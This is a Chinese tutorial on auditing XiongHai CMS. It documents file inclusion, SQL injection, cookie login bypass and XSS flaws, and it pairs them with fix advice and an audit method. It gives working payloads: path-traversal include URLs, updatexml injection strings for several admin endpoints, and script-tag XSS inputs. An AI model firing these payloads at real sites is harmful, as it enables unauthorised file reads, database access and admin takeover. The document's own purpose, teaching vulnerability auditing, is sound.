熊海CMS审计
字数 1468 2025-08-12 12:46:02

熊海CMS安全审计教学文档

1. 系统概述

熊海CMS是一个简单的PHP内容管理系统,适合初学者进行安全审计学习。系统采用传统的PHP文件包含架构,没有使用复杂的MVC框架。

系统特点

  • 通过GET参数r实现文件包含
  • 前后台分离设计
  • 缺乏基本的安全防护措施
  • 代码结构简单,便于分析

2. 审计环境准备

所需工具

  • Windows操作系统
  • Seay源码审计工具
  • PHPStudy集成环境

3. 漏洞分析

3.1 文件包含漏洞

前台文件包含

  • 漏洞文件: /index.php
  • 漏洞原理: 直接通过GET参数r包含文件,无安全过滤
  • 利用方式:
    http://www.xxx.com/index.php?r=../a.txt
    
    (PHP低版本可使用../a.txt%00进行截断)

后台文件包含

  • 漏洞文件: /admin/index.php
  • 利用方式:
    http://www.xxx.com/admin/index.php?r=../../a.txt
    

3.2 SQL注入漏洞

后台SQL注入点

  1. editcolumn.php

    • 位置: /admin/files/editcolumn.php
    • 参数: type, id
    • Payload:
      /admin/index.php?r=editcolumn&type=2&id=1' and updatexml(1,concat(0x7e,user()),1)--+
      
    • 绕过认证: 仅检查COOKIE中user值是否为空
  2. editlink.php

    • 位置: /admin/files/editlink.php
    • Payload:
      /admin/index.php?r=editlink&id=1' and updatexml(1,concat(0x7e,user()),1)--+
      
  3. editsoft.php & editwz.php

    • Payloads:
      /admin/index.php?r=editsoft&id=1' and updatexml(1,concat(0x7e,user()),1)--+
      /admin/index.php?r=editwz&id=1' and updatexml(1,concat(0x7e,user()),1)--+
      
  4. manageinfo.php

    • 位置: /admin/files/manageinfo.php
    • Payload:
      save=1&user=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&name=qwe&mail=123&qq=123123
      
  5. imageset.php

    • Payload:
      save=1&img_kg=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&img_weizhi=qwe&img_slt=123&img_moshi=123123
      
  6. newlink.php

    • Payload:
      save=1&name=123' and updatexml(1,concat(0x7e,user()),1) and '1'='1&url=qwe&mail=123&jieshao=123123&xs=1
      
  7. 后台登录框SQL注入

    • 位置: /admin/files/login.php
    • 方式: POST参数直接拼接到SQL语句

3.3 后台登录绕过

  • 漏洞原理: 仅检查/inc/checklogin.php中user值是否为空
  • 利用方式: 伪造COOKIE中user值为非空即可绕过认证

3.4 XSS漏洞

  1. contact.php

    • 位置: /files/contact.php
    • 参数: page
    • 过滤: 仅过滤单引号
    • Payload:
      <script>alert(1)</script>
      
  2. content.php

    • 位置: /files/content.php
    • 参数: id
    • Payload:
      "><script>alert(1)</script>
      
  3. 存储型XSS

    • 存在于评论功能中(环境问题未详细记录)

4. 漏洞修复建议

  1. 文件包含漏洞修复:

    • 白名单限制可包含的文件
    • 禁用动态文件包含
    • 更新PHP版本(防止截断攻击)
  2. SQL注入修复:

    • 使用预处理语句
    • 对所有输入参数进行过滤
    • 使用PDO或mysqli扩展
  3. 认证绕过修复:

    • 实现完整的会话管理
    • 使用强认证机制
    • 增加CSRF防护
  4. XSS漏洞修复:

    • 对所有输出进行HTML实体编码
    • 实现CSP策略
    • 使用XSS过滤库

5. 审计方法论

  1. 入口点分析:

    • 从index.php开始,跟踪参数传递
    • 分析包含机制
  2. 敏感函数追踪:

    • 搜索include, require等文件包含函数
    • 查找SQL查询函数如mysql_query
  3. 参数传递分析:

    • 跟踪GET/POST/COOKIE参数流向
    • 检查是否有过滤或编码
  4. 认证机制审计:

    • 检查认证逻辑完整性
    • 测试绕过可能性
  5. 自动化工具辅助:

    • 使用Seay等工具进行初步扫描
    • 手动验证扫描结果

6. 学习建议

  1. 从简单CMS开始审计,逐步提高难度
  2. 重点关注:
    • 用户输入处理
    • 数据库操作
    • 文件操作
    • 会话管理
  3. 建立漏洞验证环境
  4. 记录审计过程和发现

通过本案例学习,可以掌握基本CMS的安全审计方法和常见漏洞挖掘技巧。

熊海CMS安全审计教学文档 1. 系统概述 熊海CMS是一个简单的PHP内容管理系统,适合初学者进行安全审计学习。系统采用传统的PHP文件包含架构,没有使用复杂的MVC框架。 系统特点 通过GET参数 r 实现文件包含 前后台分离设计 缺乏基本的安全防护措施 代码结构简单,便于分析 2. 审计环境准备 所需工具 Windows操作系统 Seay源码审计工具 PHPStudy集成环境 3. 漏洞分析 3.1 文件包含漏洞 前台文件包含 漏洞文件 : /index.php 漏洞原理 : 直接通过GET参数 r 包含文件,无安全过滤 利用方式 : (PHP低版本可使用 ../a.txt%00 进行截断) 后台文件包含 漏洞文件 : /admin/index.php 利用方式 : 3.2 SQL注入漏洞 后台SQL注入点 editcolumn.php 位置 : /admin/files/editcolumn.php 参数 : type, id Payload : 绕过认证 : 仅检查COOKIE中user值是否为空 editlink.php 位置 : /admin/files/editlink.php Payload : editsoft.php & editwz.php Payloads : manageinfo.php 位置 : /admin/files/manageinfo.php Payload : imageset.php Payload : newlink.php Payload : 后台登录框SQL注入 位置 : /admin/files/login.php 方式 : POST参数直接拼接到SQL语句 3.3 后台登录绕过 漏洞原理 : 仅检查 /inc/checklogin.php 中user值是否为空 利用方式 : 伪造COOKIE中user值为非空即可绕过认证 3.4 XSS漏洞 contact.php 位置 : /files/contact.php 参数 : page 过滤 : 仅过滤单引号 Payload : content.php 位置 : /files/content.php 参数 : id Payload : 存储型XSS 存在于评论功能中(环境问题未详细记录) 4. 漏洞修复建议 文件包含漏洞修复 : 白名单限制可包含的文件 禁用动态文件包含 更新PHP版本(防止截断攻击) SQL注入修复 : 使用预处理语句 对所有输入参数进行过滤 使用PDO或mysqli扩展 认证绕过修复 : 实现完整的会话管理 使用强认证机制 增加CSRF防护 XSS漏洞修复 : 对所有输出进行HTML实体编码 实现CSP策略 使用XSS过滤库 5. 审计方法论 入口点分析 : 从index.php开始,跟踪参数传递 分析包含机制 敏感函数追踪 : 搜索 include , require 等文件包含函数 查找SQL查询函数如 mysql_query 参数传递分析 : 跟踪GET/POST/COOKIE参数流向 检查是否有过滤或编码 认证机制审计 : 检查认证逻辑完整性 测试绕过可能性 自动化工具辅助 : 使用Seay等工具进行初步扫描 手动验证扫描结果 6. 学习建议 从简单CMS开始审计,逐步提高难度 重点关注: 用户输入处理 数据库操作 文件操作 会话管理 建立漏洞验证环境 记录审计过程和发现 通过本案例学习,可以掌握基本CMS的安全审计方法和常见漏洞挖掘技巧。